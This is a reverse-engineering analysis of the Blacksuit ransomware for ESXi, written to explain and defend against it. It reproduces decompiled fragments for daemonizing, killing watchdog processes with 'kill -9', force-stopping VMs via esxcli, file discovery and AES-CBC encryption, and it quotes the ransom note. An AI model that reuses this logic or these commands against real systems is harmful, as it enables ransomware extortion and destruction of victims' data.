Blacksuit Ransomware
Overview
The Blacksuit ransomware encryptor has hit the threat landscape with limited but successful attacks in a short period of time. Blacksuit targets ESXi based systems and focuses on vulnerable VM infrastructure. The encryptor shares many code overlaps with the existing Royal ransomware encryptor, such as the ability to shutdown VMs, file discovery and control the percentage of encryption for each file.
Although Blacksuit has similarities to Royal, it provides improvements such as the ability to safely shutdown a VM instance, configurable options for skipping encryption of specific VM instances and ensuring file discovery identifies the right targets to encrypt. Since there is such a high overlap of code similarity, it is suggested that the Blacksuit malware developers are the same as the Royal ransomware encryptor team.
The following technical analysis will explore the key malicious techniques that define the capable encryptor.
Key points
The blacksuit ransomware encryptor is designed to encrypt VM files or other files in an ESXi based host. The encryptor utilizes existing ESXi tools and the system shell to accomplish various techniques.
The encryptor is being used along side the existing Royal ransomware encryptor. Blacksuit has a leak site and unique ID's that represent the victim.
At this time, the encryptor is being used in limited cases.
Code similarity to Royal encryptor
Uses existing ESXi commands and the host shell
Partial or full file encryption
Configurable VM management
Technical Analysis
Hash: 1c849adcccad4643303297fb66bfe81c5536be39a87601d67664af1d14e02b9e
Target systems: ESXi
Program Flow
Reversed-engineered Source code: Github | Github
The sample starts off with a main function which facilitates the majority of the techniques in the sample. The program arguments are checked before each technique is called. Each option is checked against a string representation of that option by using the ‘strcmp(2')’ function.
The following options can be passed into the sample.
Arguments:
'-name': ID to identify the campaign target
'percentage': Percentage of the file to encrypt (default 50%)
'-p': Path for file discovery
'thrcount': Amount of threads to create for the encryption thread pool
'-skip': When evaluating VM's, identify the VM world ID that you wish to skip
'killvm': Stop the VM using the esxcli kill command
'allfiles': Identify VM only files or all files
'noprotect': Check if the encryptor is already running
'vmsyslog': Determine if VM watch dog processes are killed
'demonoff': Enable or disable the demon process
APIs
strcmp(2): https://linux.die.net/man/3/strcmp
Reversed-engineered Source code: Github
The next step will determine if the sample should fork a child process to facilitate the remainder of the techniques. The program will continue on regardless if it was forked into a child process or not (depending on if the 'demonoff' process program argument was set to true).
When attempting to detach the process, the fork(0) and setsid(0) functions are used to create a child process and set a new sessions to control the terminal. If the PID returned from fork(0) is not zero or less than zero, it is assumed to be the parent process which exit(1) is used to exit the parent process successfully. If the PID is less than zero, the program will return 1 and exit as a failure. If the PID is zero, a line is printed to the terminal indicating the process is running detached.
if (demonoff != 1) {
pidID = fork(); // Create a sub process
if (pidID < 0)
return 1; // Error occured forking the process
if (pidID) // Parent process ID is not an error
exit(0);
setsid(); // Create a session and sets the process group ID. A new session can control the terminal
pidID = fork();
if (pidID < 0)
return 2; // Error occured forking the process
if (pidID) // Parent process ID is not an error
exit(0);
// Child process successfully created
*(_QWORD *)&argc = "\nThe process is running, you can close...";
puts("\nThe process is running, you can close...");
}
APIs
fork(0): https://linux.die.net/man/2/fork
exit(1): https://linux.die.net/man/3/exit
setsid(0): https://linux.die.net/man/2/setsid
Reversed-engineered Source code: Github
Once the process state is set, the sample will check if the VM watch dog processes should be killed, by utilizing the shell and the 'ps', as well as the 'kill' commands.
The watch dog processes are first identified by the 'ps' command by calling the 'execlp(5)' function with the string "ps -Cc|grep vmsyslogd > PS_syslog_". The results of the ps command will be filtered by the string 'vmsyslogd' and the results redirected to the 'PS_syslog_' file.
The file is later opened via the 'open(2)' function, and the file statistics are determined by calling the 'stat(2)' function. The file stats are used to allocate enough room in a buffer to store the contents of the file, which are read from the 'read(3)' call.
Once the file is read, the function will search for the string "wdog-" which is then used to construct a command string using the 'kill' command and the SIGKILL (-9) signal. This signal is not catch-able and will terminate the process. The kill command is called via the 'execlp(5)' function call in another shell.
//
// See github for full source
//
// Find the processes will 'wdog-'. Then obtain the
// ID and kill the process using the 'kill' command
// and signal 9 (SIGKILL).
if ( ptrStrIndex )
{
ptrStrIndex += 5;
v10 = strstr(ptrStrIndex, " ");
strLen2 = (_DWORD)v10 - (_DWORD)ptrStrIndex;
memset(procToKill, 0, sizeof(procToKill));
memcpy(procToKill, ptrStrIndex, strLen2);
memset(kllCmd, 0, sizeof(v0));
sprintf(kllCmd, "kill -9 %s", procToKill1);
logs::print((logs *)"kill -9 %s", procToKill1);
pidID = fork();
if ( !pidID )
{
execlp("/bin/sh", "/bin/sh", "-c", kllCmd, 0LL);
exit(0);
}
wait(0LL);
memset(kllCmd, 0, sizeof(v0));
sprintf(v0, "kill -9 %s", procToKill);
logs::print((logs *)"kill -9 %s", procToKill);
pidID = fork();
if ( !pidID )
{
execlp("/bin/sh", "/bin/sh", "-c", kllCmd, 0LL);
exit(0);
}
wait(0LL);
}
APIs
execlp(5): https://linux.die.net/man/3/execlp
open(2): https://linux.die.net/man/3/open
stat(2): https://linux.die.net/man/2/stat
fork(0): https://linux.die.net/man/2/fork
read(3): https://linux.die.net/man/2/read
Reversed-engineered Source code: Github
The generate entropy is used to facilitate the encryption process later, this entropy is gathered from system components through 'dev/random' or 'vmkdriver/random' interfaces.
The function is used to generate entropy of the system prior to the encryption thread pool processing files. The function makes use of the 'open(2)' function calls on the interfaces for '/dev/random' or '/dev/char/vmkdriver/random'. Both interfaces will block the thread if not enough entropy has been generated by the system yet. Once generated up to '2048' bytes are read from the stream. The 'RAND_add(3)' function call is used to mix the bytes into the PRNG state.
APIs
open(2): https://linux.die.net/man/3/open
RAND_add(3): https://linux.die.net/man/3/rand_add
read(3): https://linux.die.net/man/2/read
Reversed-engineered Source code: Github
Next the sample will determine if it should skip or shutdown certain VM's, to ensure the encryption process is successful when handling vm specific files. The sample accomplishes this through the use of the system 'esxcli' commands.
The stop VM instances are responsible for safely shutting down the VM instances by using the 'esxcli' command. The sample starts by forking to a child process for calling the 'execlp(5)' function with the command string "esxcli vm process list > list_'. The system command 'esxcli' will obtain a list of running VMs, the result is redirected to the file 'list_'.
The 'list_' file is later opened via the 'open(2)' function, and the file statistics are determined by calling the 'stat(2)' function. The file stats are used to allocate enough room in a buffer to store the contents of the file, which are read from the 'read(3)' call.
The function will check the world ID's by searching for all instances of the string "World ID: ". The ID's are then compared to a list of skippable VMs.
Lastly, the VMs which are identified for shut down, are then safely (using the --type=soft option) shutdown using the command 'esxcli vm process kill --type=soft --world-id=' which is executed in another shell via the 'execlp(5)' call.
Special Note: The Royal ransomware encryptor does not use the ‘soft’ option, instead it uses ‘hard’ which forces the VM to shutdown immediately.
//
// See github for full source
//
if ( !vmSkipList || !CheckSkipListForWorldID(vmSkipList, haystack) ) {
memset(shutdownVMProcess, 0, sizeof(shutdownVMProcess));
// kill the VM process using the 'esxcli' command and the
// type 'soft' and the world ID found in the VM process list.
// The 'soft' option will allow for a more graceful
// shutdown to the VM instance.
sprintf(shutdownVMProcess, "esxcli vm process kill --type=soft --world-id=%s", worldID);
newPID = fork(); // Create a new child process
if ( !newPID ) {
// Call the shutdown of the VM process in the child process
execlp("/bin/sh", "/bin/sh", "-c", shutdownVMProcess, 0LL);
exit(0); // Exit the child process
}
wait(0LL); // Wait for the child process handling the command to complete
}
}
APIs
execlp(5): https://linux.die.net/man/3/execlp
open(2): https://linux.die.net/man/3/open
stat(2): https://linux.die.net/man/2/stat
fork(0): https://linux.die.net/man/2/fork
read(3): https://linux.die.net/man/2/read
Reversed-engineered Source code: Github
Lastly, a new thread pool is created to facilitate the encryption process. The file and directory discovery functions will coordinate with the encryption process by filtering certain files from encryption and storing them in a shared list. Both the file and directory discovery thread and the encryption thread pool run in parallel.
The files and directories are discovered by iterating through a list of directories using the 'opendir(1)' and 'readdir(1)' calls. While iterating, files and directories are identified by their file stats. Directories are identified by checking the 'st_mode' variable for '0x4000' which are directories and '0x8000' which are files.
If it is a file, it is checked against the filtering function 'SkipFiles(1)'. The following contains the list of filtered files.
Special Note: The Royal encryptor did not use lstat(2) on a file to determine file information. It is possible there was a bug which did not resolve a file information correctly in the Royal encryptor that has now been fixed in Blacksuit.
Static files to always skip:
.blacksuit
.BlackSuit
.blacksuit_log_
.list_
.PID_
.PS_list
.PID_list_
.CID_list_
.sf
.v00
.b00
README.BlackSuit.txt
README.blacksuit.txt
VMOnly enabled in the program arguments options, filter for these files
.vmem
.vmdk
.nvram
.vmsd
.vmsn
.vmss
.vmtm
.vmxf
.vmx
If the file is not skippable, it is added to a list that the encryption thread pool will then process.
//
// See github for full source
//
dirp = opendir(dirStr2); // Open the directory at dirStr(2)
if ( !dirp )
return 0LL;
while ( 1 )
{
dirEnt = readdir(dirp);
if ( !dirEnt )
break;
// check if file is current or parent directory symlink file
if ( strcmp(dirEnt->d_name, ".") && strcmp(dirEnt->d_name, "..") )
{
std::string::string((std::string *)dirStr3, dirStr);
std::string::operator+=(dirStr3, dirEnt->d_name);// Add the directory location and filename into one string
cStrFilePath = (char *)std::string::c_str((std::string *)dirStr3);
if ( !(unsigned int)lstat(cStrFilePath, &statInfo) )
{
if ( (statInfo.st_mode & 0xF000) == 0x4000 )// File is a directory
{
std::list<std::string,std::allocator<std::string>>::push_back(&list_directories, dirStr3);
}
else if ( (statInfo.st_mode & 0xF000) == 0x8000 )// File is a regular file
{
std::string::string((std::string *)dirStr4, (const std::string *)dirStr3);
skipStatus = SkipFiles((std::string *)dirStr4);// Check if need to skip the file
std::string::~string(dirStr4);
if ( !skipStatus )
APIs
opendir(1): https://linux.die.net/man/3/opendir
readdir(1): https://linux.die.net/man/3/readdir
lstat(2): https://linux.die.net/man/2/lstat
sleep(1): https://linux.die.net/man/3/sleep
FILE = README.BlackSuit.txt
.rodata:0000000000584B10 aGoodWhateverTi db 'Good whatever time of day it is!',0Dh,0Ah
.rodata:0000000000584B32 db 0Dh,0Ah
.rodata:0000000000584B34 db 'Your safety service did a really poor job of protecting your file'
.rodata:0000000000584B75 db 's against our professionals.',0Dh,0Ah
.rodata:0000000000584B93 db 'Extortioner named BlackSuit has attacked your system.',0Dh,0Ah
.rodata:0000000000584BCB db 0Dh,0Ah
.rodata:0000000000584BCD db 'As a result all your essential files were encrypted and saved at '
.rodata:0000000000584C0E db 'a secure server for further use and publishing on the Web into th'
.rodata:0000000000584C4F db 'e public realm.',0Dh,0Ah
.rodata:0000000000584C60 db 'Now we have all your files like: financial reports, intellectual '
.rodata:0000000000584CA1 db 'property, accounting, law actionsand complaints, personal files a'
.rodata:0000000000584CE2 db 'nd so on and so forth. ',0Dh,0Ah
.rodata:0000000000584CFB db 0Dh,0Ah
.rodata:0000000000584CFD db 'We are able to solve this problem in one touch.',0Dh,0Ah
.rodata:0000000000584D2E db 'We (BlackSuit) are ready to give you an opportunity to get all th'
.rodata:0000000000584D6F db 'e things back if you agree to makea deal with us.',0Dh,0Ah
.rodata:0000000000584DA2 db 'You have a chance to get rid of all possible financial, legal, in'
.rodata:0000000000584DE3 db 'surance and many others risks and problems for a quite small comp'
.rodata:0000000000584E24 db 'ensation.',0Dh,0Ah
.rodata:0000000000584E2F db 'You can have a safety review of your systems.',0Dh,0Ah
.rodata:0000000000584E5E db 'All your files will be decrypted, your data will be reset, your s'
.rodata:0000000000584E9F db 'ystems will stay in safe.',0Dh,0Ah
.rodata:0000000000584EBA db 'Contact us through TOR browser using the link:',0Dh,0Ah
.rodata:0000000000584EEA db 9,'http://<redacted>>'
.rodata:0000000000584F2A db '.onion/?id=
Reversed-engineered Source code: Github
The sample will use OpenSSL AES CBC algorithm to encrypt files that were discovered during the 'File and Directory' discovery process. Each file encrypted will be renamed with the '.blacksuit' extension. Depending on the percentage parameter passed into the program, the encryption algorithm will either partially or fully encrypt the files it finds.
The following public key was used during encryption:
2D 2D 2D 2D 2D 42 45 47 49 4E 20 50 55 42 4C 49 -----BEGIN PUBLI
43 20 4B 45 59 2D 2D 2D 2D 2D 0A 4D 43 6F 77 42 C KEY-----.MCowB
51 59 44 4B 32 56 75 41 79 45 41 78 48 46 69 6F QYDK2VuAyEAxHFio
79 79 59 52 78 63 39 41 49 36 31 72 2B 38 62 74 yyYRxc9AI61r+8bt
43 5A 46 69 72 33 44 4A 77 73 4E 38 49 49 77 38 CZFir3DJwsN8IIw8
47 73 58 75 79 59 3D 0A 2D 2D 2D 2D 2D 45 4E 44 GsXuyY=.-----END
20 50 55 42 4C 49 43 20 4B 45 59 2D 2D 2D 2D 2D PUBLIC KEY-----
//
// See github for full source
///
// Prepare the encryption settings, such as the
// encryption percentage based on the file attributes
if ( (unsigned __int8)prepare_encryption_settings((__int64)ptrDataFile, bio_pubKey) != 1 )
goto LABEL_9;
while ( *((_BYTE *)ptrDataFile + 262297) != 1 )
{
// Read the file contents upto parts of ptrDataFile
if ( (unsigned __int8)read_file(ptrDataFile) != 1 ) {
*((_BYTE *)ptrDataFile + 262298) = 1;
break;
}
// Encrypt parts of the file using AES CBC
if ( (unsigned __int8)aes_cbc_encrypt_file(ptrDataFile) != 1 ) {
*((_BYTE *)ptrDataFile + 262298) = 1;
break;
}
// Write the newly encrypted data
if ( (unsigned __int8)write_file(ptrDataFile) != 1 )
// ...
APIs
write(3): https://linux.die.net/man/3/write
read(3): https://linux.die.net/man/2/read
Remarks
Blacksuit ESXi is a sophisticated and capable encryptor. It borrows a lot of code from the existing and successful Royal encryptor, but instead of wide spread use, the encryptor is being deployed in limited cases.
It is possible the threat actors are affiliates of the Royal encryptor, or that the developers of the Royal encryptor are testing the threat landscape.
Only time will tell if Blacksuit ransomware will replace Royal ransomware.